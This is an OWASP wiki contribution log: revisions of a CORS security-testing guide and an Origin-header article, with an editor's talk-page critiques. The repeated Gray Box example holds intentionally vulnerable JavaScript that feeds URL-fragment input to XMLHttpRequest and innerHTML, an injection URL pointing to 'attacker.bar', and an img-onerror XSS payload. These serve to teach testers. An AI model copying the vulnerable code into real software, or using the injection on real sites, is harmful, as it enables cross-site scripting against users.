OWASP - User contributions [en]

Talk:Test Cross Origin Resource Sharing (OTG-CLIENT-007)

2019-02-25T20:37:01Z

Collin Sauve:

I've removed the bad "Gray Box" examples as they are BOTH bad:

* Example 1 is not an example of an inherently insecure request. Allowing all origins is perfectly fine unless you also allow credentials and the server authenticates using those credentials. If anyone wants to claim that it is insecure you'll need to justify your reasoning here not just assert it. As an example an API that authenticates using Bearer Auth does not have any need to concern itself with cross-origin calls since the possession of the bearer token is what matters.

* Example 2 is an XSS problem. The only thing that that CORS could do here is CORS headers on the '''attacker's''' site could mitigate that, which is outside of your control. Just a terrible, terrible example of CORS misconfigurations since the alleged misconfiguration is on the attacker's site. Amazing that this example made it into this wiki in the first place.
[[User:Collin Sauve|Collin Sauve]] ([[User talk:Collin Sauve|talk]]) 14:33, 25 February 2019 (CST)

Talk:Test Cross Origin Resource Sharing (OTG-CLIENT-007)

2019-02-25T20:34:35Z

Collin Sauve:

I've removed the bad "Gray Box" examples as they are BOTH bad:

* Example 1 is not an example of an inherently insecure request. Allowing all origins is perfectly fine unless you also allow credentials. If anyone wants to claim that it is insecure you'll need to justify your reasoning here not just assert it.

* Example 2 is an XSS problem. The only thing that that CORS could do here is CORS headers on the '''attacker's''' site could mitigate that, which is outside of your control. Just a terrible, terrible example of CORS misconfigurations since the alleged misconfiguration is on the attacker's site. Amazing that this example made it into this wiki in the first place.
[[User:Collin Sauve|Collin Sauve]] ([[User talk:Collin Sauve|talk]]) 14:33, 25 February 2019 (CST)

Talk:Test Cross Origin Resource Sharing (OTG-CLIENT-007)

2019-02-25T20:34:25Z

Collin Sauve:

I've removed the bad "Gray Box" examples as they are BOTH bad:

* Example 1 is not an example of an inherently insecure request. Allowing all origins is perfectly fine unless you also allow credentials. If anyone wants to claim that it is insecure you'll need to justify your reasoning here not just assert it.

* Example 2 is an XSS problem. The only that that CORS could do here is CORS headers on the '''attacker's''' site could mitigate that, which is outside of your control. Just a terrible, terrible example of CORS misconfigurations since the alleged misconfiguration is on the attacker's site. Amazing that this example made it into this wiki in the first place.
[[User:Collin Sauve|Collin Sauve]] ([[User talk:Collin Sauve|talk]]) 14:33, 25 February 2019 (CST)

Talk:Test Cross Origin Resource Sharing (OTG-CLIENT-007)

2019-02-25T20:33:27Z

Collin Sauve:

I've removed the bad "Gray Box" examples as they are BOTH bad:

* Example 1 is not an example of an inherently insecure request. Allowing all origins is perfectly fine UNLESS you also allow credentials. If anyone wants to claim that it is insecure you'll need to justify your reasoning here not just assert it.

* Example 2 is an XSS problem. The only that that CORS could do here is CORS headers on the ATTACKER'S site could mitigate that, which is outside of your control. Just a terrible, terrible example of CORS misconfigurations since the "misconfiguration" is on the attackers site. Amazing that this example made it into this wiki in the first place.
[[User:Collin Sauve|Collin Sauve]] ([[User talk:Collin Sauve|talk]]) 14:33, 25 February 2019 (CST)

Talk:Test Cross Origin Resource Sharing (OTG-CLIENT-007)

2019-02-25T20:33:16Z

Collin Sauve: Created page with "I've removed the bad "Gray Box" examples as they are BOTH bad: Example 1 is not an example of an inherently insecure request. Allowing all origins is perfectly fine UNLESS yo..."

I've removed the bad "Gray Box" examples as they are BOTH bad:
Example 1 is not an example of an inherently insecure request. Allowing all origins is perfectly fine UNLESS you also allow credentials. If anyone wants to claim that it is insecure you'll need to justify your reasoning here not just assert it.

Example 2 is an XSS problem. The only that that CORS could do here is CORS headers on the ATTACKER'S site could mitigate that, which is outside of your control. Just a terrible, terrible example of CORS misconfigurations since the "misconfiguration" is on the attackers site. Amazing that this example made it into this wiki in the first place.
[[User:Collin Sauve|Collin Sauve]] ([[User talk:Collin Sauve|talk]]) 14:33, 25 February 2019 (CST)

Test Cross Origin Resource Sharing (OTG-CLIENT-007)

2019-02-25T20:29:28Z

Collin Sauve: /* Gray Box testing */ Fix gray box description now that both horrible examples are removed.

Test Cross Origin Resource Sharing (OTG-CLIENT-007)

2019-02-25T20:27:41Z

Collin Sauve: /* Gray Box testing */ That example was not a problem with CORS it was a problem with XSS. In that example CORS headers were coming from the ATTACKER's site. Bad, bad bad example. Should be deleted completely!!!

Test Cross Origin Resource Sharing (OTG-CLIENT-007)

2019-02-25T20:22:28Z

Collin Sauve: /* Gray Box testing */ This example is not insecure.

{{Template:OWASP Testing Guide v4}}

== Summary ==

Cross Origin Resource Sharing or CORS is a mechanism that enables a web browser to perform "cross-domain" requests using the XMLHttpRequest L2 API in a controlled manner. In the past, the XMLHttpRequest L1 API only allowed requests to be sent within the same origin as it was restricted by the same origin policy.

Cross-Origin requests have an Origin header, that identifies the domain initiating the request and is always sent to the server. CORS defines the protocol to use between a web browser and a server to determine whether a cross-origin request is allowed. In order to accomplish this goal, there are a few HTTP headers involved in this process, that are supported by all major browsers and we will cover below including: Origin, Access-Control-Request-Method, Access-Control-Request-Headers, Access-Control-Allow-Origin, Access-Control-Allow-Credentials, Access-Control-Allow-Methods, Access-Control-Allow-Headers.

The CORS specification mandates that for non simple requests, such as requests other than GET or POST or requests that uses credentials, a pre-flight OPTIONS request must be sent in advance to check if the type of request will have a bad impact on the data. The pre-flight request checks the methods, headers allowed by the server, and if credentials are permitted, based on the result of the OPTIONS request, the browser decides whether the request is allowed or not.

== How to Test ==

=== Origin & Access-Control-Allow-Origin ===

The Origin header is always sent by the browser in a CORS request and indicates the origin of the request. The Origin header can not be changed from JavaScript however relying on this header for Access Control checks is not a good idea as it may be spoofed outside the browser, so you still need to check that application-level protocols are used to protect sensitive data.

Access-Control-Allow-Origin is a response header used by a server to indicate which domains are allowed to read the response. Based on the CORS W3 Specification it is up to the client to determine and enforce the restriction of whether the client has access to the response data based on this header.

From a penetration testing perspective you should look for insecure configurations as for example when the server returns back the Origin header in the Access-Control-Allow-Origin without any additional checks AND returns Access-Control-Allow-Credentials: true, which can lead to access of sensitive data. Note that this configuration is very insecure, and is not acceptable in general terms, except in the case of a public API that is intended to be accessible by everyone.

=== Access-Control-Request-Method & Access-Control-Allow-Method ===

The Access-Control-Request-Method header is used when a browser performs a preflight OPTIONS request and let the client indicate the request method of the final request. On the other hand, the Access-Control-Allow-Method is a response header used by the server to describe the methods the clients are allowed to use.

=== Access-Control-Request-Headers & Access-Control-Allow-Headers ===

These two headers are used between the browser and the server to determine which headers can be used to perform a cross-origin request.

=== Access-Control-Allow-Credentials ===

This header as part of a preflight request indicates that the final request can include user credentials.

=== Input validation ===

XMLHttpRequest L2 (or XHR L2) introduces the possibility of creating a cross-domain request using the XHR API for backwards compatibility. This can introduce security vulnerabilities that in XHR L1 were not present. Interesting points of the code to exploit would be URLs that are passed to XMLHttpRequest without validation, specially if absolute URLS are allowed because that could lead to code injection. Likewise, other part of the application that can be exploited is if the response data is not escaped and we can control it by providing user-supplied input.

=== Other headers ===

There are other headers involved like Access-Control-Max-Age that determines the time a preflight request can be cached in the browser, or Access-Control-Expose-Headers that indicates which headers are safe to expose to the API of a CORS API specification, both are response headers specified in the CORS W3C document.

=== Black Box testing ===
Black box testing for finding issues related to Cross Origin Resource Sharing is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.<br>

=== Gray Box testing ===

Check the HTTP headers in order to understand how CORS is used, in particular we should be very interested in the Origin header to learn which domains are allowed. Also, manual inspection of the JavaScript is needed to determine whether the code is vulnerable to code injection due to improper handling of user supplied input. Below are some examples:

'''Example 1: Input validation issue, XSS with CORS:'''

This code makes a request to the resource passed after the # character in the URL, initially used to get resources in the same server.

Vulnerable code:

<pre>
<script>

var req = new XMLHttpRequest();

req.onreadystatechange = function() {
if(req.readyState==4 && req.status==200) {
document.getElementById("div1").innerHTML=req.responseText;
}
}

var resource = location.hash.substring(1);
req.open("GET",resource,true);
req.send();
</script>

<body>
<div id="div1"></div>
</body>
</pre>

For example, a request like this will show the contents of the profile.php file:

http://example.foo/main.php#profile.php

Request and response generated by this URL:

<pre>
GET http://example.foo/profile.php HTTP/1.1
Host: example.foo
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://example.foo/main.php
Connection: keep-alive
</pre>

<pre>
HTTP/1.1 200 OK
Date: Mon, 07 Oct 2013 18:20:48 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.3.3-7+squeeze17
Vary: Accept-Encoding
Content-Length: 25
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Content-Type: text/html

[Response Body]
</pre>

Now, as there is no URL validation we can inject a remote script, that will be injected and executed in the context of the example.foo domain, with a URL like this:

http://example.foo/main.php#http://attacker.bar/file.php

Request and response generated by this URL:

<pre>
GET http://attacker.bar/file.php HTTP/1.1
Host: attacker.bar
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://example.foo/main.php
Origin: http://example.foo
Connection: keep-alive
</pre>

<pre>
HTTP/1.1 200 OK
Date: Mon, 07 Oct 2013 19:00:32 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u3
Access-Control-Allow-Origin: *
Vary: Accept-Encoding
Content-Length: 92
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html

Injected Content from attacker.bar <img src="#" onerror="alert('Domain: '+document.domain)">
</pre>

[[File:CORS-example.png]]
<br><br>
==Tools==
* '''OWASP Zed Attack Proxy (ZAP)''' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.

== References ==
'''OWASP Resources'''
*'''OWASP HTML5 Security Cheat Sheet: https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet'''

'''Whitepapers'''<br />
*'''W3C''' - CORS W3C Specification: http://www.w3.org/TR/cors/

Talk:CORS OriginHeaderScrutiny

2019-02-25T20:10:27Z

Collin Sauve:

what does "protract allowed domain guessing" mean?

I don't understand what this is trying to say - "It's the browser (or others tools) that send the HTTP request then the IP address that we have access to is the client IP address"

--

The original state of this article was mostly nonsense and I'm not surprised it had been "flagged for review". The correct recommendation can be summarized as:
* Don't trust the Origin header
* Do your own authentication

All that stuff about trying to guess if the Origin header can be trusted was not only overly-complicated but is bad in practice. You can never trust the Origin header. Ever. Everything in an HTTP request can be crafted to say anything outside of a browser. The recommendations that existed here were essentially "make sure they fake it well".

[[User:Collin Sauve|Collin Sauve]] ([[User talk:Collin Sauve|talk]]) 14:09, 25 February 2019 (CST)

Talk:CORS OriginHeaderScrutiny

2019-02-25T20:09:11Z

Collin Sauve:

what does "protract allowed domain guessing" mean?

I don't understand what this is trying to say - "It's the browser (or others tools) that send the HTTP request then the IP address that we have access to is the client IP address"

--

The original state of this article was mostly nonsense and I'm not surprised it had been "flagged for review". The correct recommendation can be summarized as:
* Don't trust the Origin header
* Do your own authentication

All that stuff about trying to guess if the Origin header can be trusted was not only overly-complicated but is bad in practice. You can never trust the Origin header. Ever.

[[User:Collin Sauve|Collin Sauve]] ([[User talk:Collin Sauve|talk]]) 14:09, 25 February 2019 (CST)

CORS OriginHeaderScrutiny

2019-02-25T20:05:22Z

Collin Sauve: That's really all you need to know - don't trust the origin header, do your own authentication. Full stop. This additional rambling about having to manage users and passwords is muddying the waters, and isn't neces. true (not all auth is password auth)

{{taggedDocument
| type=pls_review
}}

== Introduction ==

'''CORS''' stands for '''C'''ross-'''O'''rigin '''R'''esource '''S'''haring.

Is a feature offering the possibility for:
* A web application to expose resources to all or restricted domain,
* A web client to make AJAX request for resource on other domain than is source domain.

This article will focus on the role of the '''Origin''' header in the exchange between web client and web application.

The basic process is composed of the steps below (sample HTTP request/response has been taken from [https://developer.mozilla.org/en-US/docs/HTTP_access_control Mozilla Wiki]):

* '''Step 1 : Web client sends a request to get a resource from a different domain.'''

<pre>
GET /resources/public-data/ HTTP/1.1
Host: bar.other
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: keep-alive
Referer: http://foo.example/examples/access-control/simpleXSInvocation.html
Origin: http://foo.example

[Request Body]
</pre>

The web client tells the server its source domain using the HTTP request header "'''Origin'''".

* '''Step 2 : Web application response to request.'''

<pre>
HTTP/1.1 200 OK
Date: Mon, 01 Dec 2008 00:23:53 GMT
Server: Apache/2.0.61
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: application/xml
Access-Control-Allow-Origin: *

[Response Body]
</pre>

The web application informs the web client of the allowed domains using the HTTP response header '''Access-Control-Allow-Origin'''.
The header can contains either a '*' to indicate that all domains are allowed OR a specified domain to indicate the specified allowed domain.

* '''Step 3 : Web client process web application response.'''

According to the CORS W3C specification, it's up to the web client (usually a browser) to determine, using the web application response HTTP header '''Access-Control-Allow-Origin''',
if the web client is allowed to access response data.

== Risk ==

''A reminder : This article will focus on the web application side because it's the only part in which we have the maximum of control.''

The risk here is that a web client can put any value into the '''Origin''' request HTTP header in order to force web application to provide it the target resource content.
In the case of a Browser web client, the header value is managed by the browser but another "web client" can be used (like Curl/Wget/Burp suite/...) to change/override the "Origin" header value. For this reason it is not recommended to use the Origin header to authenticate requests as coming from your site.

== Countermeasure ==

Enable authentication on the resources accessed and require that the user/application credentials be passed with the [https://developer.mozilla.org/en-US/docs/HTTP/Access_control_CORS#Requests_with_credentials CORS requests].

It is not possible to be 100% certain that any request comes from an expected client application, since all information of a HTTP request can be faked.
== Informations links ==

* W3C Specification : http://www.w3.org/TR/cors/
* Mozilla Wiki : https://developer.mozilla.org/en-US/docs/HTTP_access_control
* Wikipedia : http://en.wikipedia.org/wiki/Cross-origin_resource_sharing
* CORS Abuse : http://blog.secureideas.com/2013/02/grab-cors-light.html

[[Category:Java]]
[[Category:Attack]]
[[Category:Injection Attack]]

CORS OriginHeaderScrutiny

2019-02-25T20:00:20Z

Collin Sauve: Countermeasure B does not help AT ALL. Main recommendation here should be: Don't use the Origin header to validate the sender, as it is not reliable. Why are we recommending adding some overly-complicated mechanism that doesn't actually work?

{{taggedDocument
| type=pls_review
}}

Last revision (mm/dd/yy): '''08/16/2013'''

== Introduction ==

'''CORS''' stands for '''C'''ross-'''O'''rigin '''R'''esource '''S'''haring.

Is a feature offering the possbility for:
* A web application to expose resources to all or restricted domain,
* A web client to make AJAX request for resource on other domain than is source domain.

This article will focus on the role of the '''Origin''' header in the exchange between web client and web application.

The basic process is composed of the steps below (sample HTTP resquest/response has been taken from [https://developer.mozilla.org/en-US/docs/HTTP_access_control Mozilla Wiki]):

* '''Step 1 : Web client sends a request to get a resource from a different domain.'''

<pre>
GET /resources/public-data/ HTTP/1.1
Host: bar.other
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: keep-alive
Referer: http://foo.example/examples/access-control/simpleXSInvocation.html
Origin: http://foo.example

[Request Body]
</pre>

The web client tells the server its source domain using the HTTP request header "'''Origin'''".

* '''Step 2 : Web application response to request.'''

<pre>
HTTP/1.1 200 OK
Date: Mon, 01 Dec 2008 00:23:53 GMT
Server: Apache/2.0.61
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: application/xml
Access-Control-Allow-Origin: *

[Response Body]
</pre>

The web application informs the web client of the allowed domains using the HTTP response header '''Access-Control-Allow-Origin'''.
The header can contains either a '*' to indicate that all domains are allowed OR a specified domain to indicate the specified allowed domain.

* '''Step 3 : Web client process web application response.'''

According to the CORS W3C specification, it's up to the web client (usually a browser) to determine, using the web application response HTTP header '''Access-Control-Allow-Origin''',
if the web client is allowed to access response data.

== Risk ==

''A reminder : This article will focus on the web application side because it's the only part in which we have the maximum of control.''

The risk here is that a web client can put any value into the '''Origin''' request HTTP header in order to force web application to provide it the target resource content.
In the case of a Browser web client, the header value is managed by the browser but another "web client" can be used (like Curl/Wget/Burp suite/...) to change/override the "Origin" header value. For this reason it is not recommended to use the Origin header to authenticate requests as coming from your site.

== Countermeasure ==

Enable authentication on the resources accessed and require that the user/application credentials be passed with the [https://developer.mozilla.org/en-US/docs/HTTP/Access_control_CORS#Requests_with_credentials CORS requests].

If the CORS resources exposed are classified as sensitive (and CORS exposition is mandatory) it's a good option but if the objective is only to ensure that the request originator is really
one of the allowed (to avoid rogue call), there somes drawback with this option, among others:
* The target application must manage users (or applications) credentials repositories including features like password expiry, password reset, brute force prevention, account lock/unlock,...
* The client application must store (in a secure way) the credentials to use,
* The client application must manage/configure credentials transfer in HTTP request in order that credentials are send only in case of CORS requests to target application.

We use the method above because it's not possible to be 100% certain that any request comes from an expected client application, since:
* All information of a HTTP request can be faked,
* It's the browser (or others tools) that send the HTTP request then the IP address that we have access to is the client IP address.

== Informations links ==

* W3C Specification : http://www.w3.org/TR/cors/
* Mozilla Wiki : https://developer.mozilla.org/en-US/docs/HTTP_access_control
* Wikipedia : http://en.wikipedia.org/wiki/Cross-origin_resource_sharing
* CORS Abuse : http://blog.secureideas.com/2013/02/grab-cors-light.html

[[Category:Java]]
[[Category:Attack]]
[[Category:Injection Attack]]

User:Collin Sauve

2019-02-25T19:49:52Z

Collin Sauve:

Software Developer / Security Engineer

Test Cross Origin Resource Sharing (OTG-CLIENT-007)

2019-02-25T19:48:27Z

Collin Sauve: Echoing Origin back in Access-Control-Allow-Origin is only generally insecure when credentials are also allowed.

{{Template:OWASP Testing Guide v4}}

== Summary ==

Cross Origin Resource Sharing or CORS is a mechanism that enables a web browser to perform "cross-domain" requests using the XMLHttpRequest L2 API in a controlled manner. In the past, the XMLHttpRequest L1 API only allowed requests to be sent within the same origin as it was restricted by the same origin policy.

Cross-Origin requests have an Origin header, that identifies the domain initiating the request and is always sent to the server. CORS defines the protocol to use between a web browser and a server to determine whether a cross-origin request is allowed. In order to accomplish this goal, there are a few HTTP headers involved in this process, that are supported by all major browsers and we will cover below including: Origin, Access-Control-Request-Method, Access-Control-Request-Headers, Access-Control-Allow-Origin, Access-Control-Allow-Credentials, Access-Control-Allow-Methods, Access-Control-Allow-Headers.

The CORS specification mandates that for non simple requests, such as requests other than GET or POST or requests that uses credentials, a pre-flight OPTIONS request must be sent in advance to check if the type of request will have a bad impact on the data. The pre-flight request checks the methods, headers allowed by the server, and if credentials are permitted, based on the result of the OPTIONS request, the browser decides whether the request is allowed or not.

== How to Test ==

=== Origin & Access-Control-Allow-Origin ===

The Origin header is always sent by the browser in a CORS request and indicates the origin of the request. The Origin header can not be changed from JavaScript however relying on this header for Access Control checks is not a good idea as it may be spoofed outside the browser, so you still need to check that application-level protocols are used to protect sensitive data.

Access-Control-Allow-Origin is a response header used by a server to indicate which domains are allowed to read the response. Based on the CORS W3 Specification it is up to the client to determine and enforce the restriction of whether the client has access to the response data based on this header.

From a penetration testing perspective you should look for insecure configurations as for example when the server returns back the Origin header in the Access-Control-Allow-Origin without any additional checks AND returns Access-Control-Allow-Credentials: true, which can lead to access of sensitive data. Note that this configuration is very insecure, and is not acceptable in general terms, except in the case of a public API that is intended to be accessible by everyone.

=== Access-Control-Request-Method & Access-Control-Allow-Method ===

The Access-Control-Request-Method header is used when a browser performs a preflight OPTIONS request and let the client indicate the request method of the final request. On the other hand, the Access-Control-Allow-Method is a response header used by the server to describe the methods the clients are allowed to use.

=== Access-Control-Request-Headers & Access-Control-Allow-Headers ===

These two headers are used between the browser and the server to determine which headers can be used to perform a cross-origin request.

=== Access-Control-Allow-Credentials ===

This header as part of a preflight request indicates that the final request can include user credentials.

=== Input validation ===

XMLHttpRequest L2 (or XHR L2) introduces the possibility of creating a cross-domain request using the XHR API for backwards compatibility. This can introduce security vulnerabilities that in XHR L1 were not present. Interesting points of the code to exploit would be URLs that are passed to XMLHttpRequest without validation, specially if absolute URLS are allowed because that could lead to code injection. Likewise, other part of the application that can be exploited is if the response data is not escaped and we can control it by providing user-supplied input.

=== Other headers ===

There are other headers involved like Access-Control-Max-Age that determines the time a preflight request can be cached in the browser, or Access-Control-Expose-Headers that indicates which headers are safe to expose to the API of a CORS API specification, both are response headers specified in the CORS W3C document.

=== Black Box testing ===
Black box testing for finding issues related to Cross Origin Resource Sharing is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.<br>

=== Gray Box testing ===

Check the HTTP headers in order to understand how CORS is used, in particular we should be very interested in the Origin header to learn which domains are allowed. Also, manual inspection of the JavaScript is needed to determine whether the code is vulnerable to code injection due to improper handling of user supplied input. Below are some examples:

'''Example 1: Insecure response with wildcard '*' in Access-Control-Allow-Origin:''' <br>
<br>
Request (note the 'Origin' header:)<br>

<pre>
GET http://attacker.bar/test.php HTTP/1.1
Host: attacker.bar
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://example.foo/CORSexample1.html
Origin: http://example.foo
Connection: keep-alive
</pre>

Response (note the 'Access-Control-Allow-Origin' header:)<br>

<pre>
HTTP/1.1 200 OK
Date: Mon, 07 Oct 2013 18:57:53 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u3
Access-Control-Allow-Origin: *
Content-Length: 4
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Content-Type: application/xml

[Response Body]
</pre>

'''Example 2: Input validation issue, XSS with CORS:'''

This code makes a request to the resource passed after the # character in the URL, initially used to get resources in the same server.

Vulnerable code:

<pre>
<script>

var req = new XMLHttpRequest();

req.onreadystatechange = function() {
if(req.readyState==4 && req.status==200) {
document.getElementById("div1").innerHTML=req.responseText;
}
}

var resource = location.hash.substring(1);
req.open("GET",resource,true);
req.send();
</script>

<body>
<div id="div1"></div>
</body>
</pre>

For example, a request like this will show the contents of the profile.php file:

http://example.foo/main.php#profile.php

Request and response generated by this URL:

<pre>
GET http://example.foo/profile.php HTTP/1.1
Host: example.foo
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://example.foo/main.php
Connection: keep-alive
</pre>

<pre>
HTTP/1.1 200 OK
Date: Mon, 07 Oct 2013 18:20:48 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.3.3-7+squeeze17
Vary: Accept-Encoding
Content-Length: 25
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Content-Type: text/html

[Response Body]
</pre>

Now, as there is no URL validation we can inject a remote script, that will be injected and executed in the context of the example.foo domain, with a URL like this:

http://example.foo/main.php#http://attacker.bar/file.php

Request and response generated by this URL:

<pre>
GET http://attacker.bar/file.php HTTP/1.1
Host: attacker.bar
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://example.foo/main.php
Origin: http://example.foo
Connection: keep-alive
</pre>

<pre>
HTTP/1.1 200 OK
Date: Mon, 07 Oct 2013 19:00:32 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u3
Access-Control-Allow-Origin: *
Vary: Accept-Encoding
Content-Length: 92
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html

Injected Content from attacker.bar <img src="#" onerror="alert('Domain: '+document.domain)">
</pre>

[[File:CORS-example.png]]
<br><br>
==Tools==
* '''OWASP Zed Attack Proxy (ZAP)''' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.

== References ==
'''OWASP Resources'''
*'''OWASP HTML5 Security Cheat Sheet: https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet'''

'''Whitepapers'''<br />
*'''W3C''' - CORS W3C Specification: http://www.w3.org/TR/cors/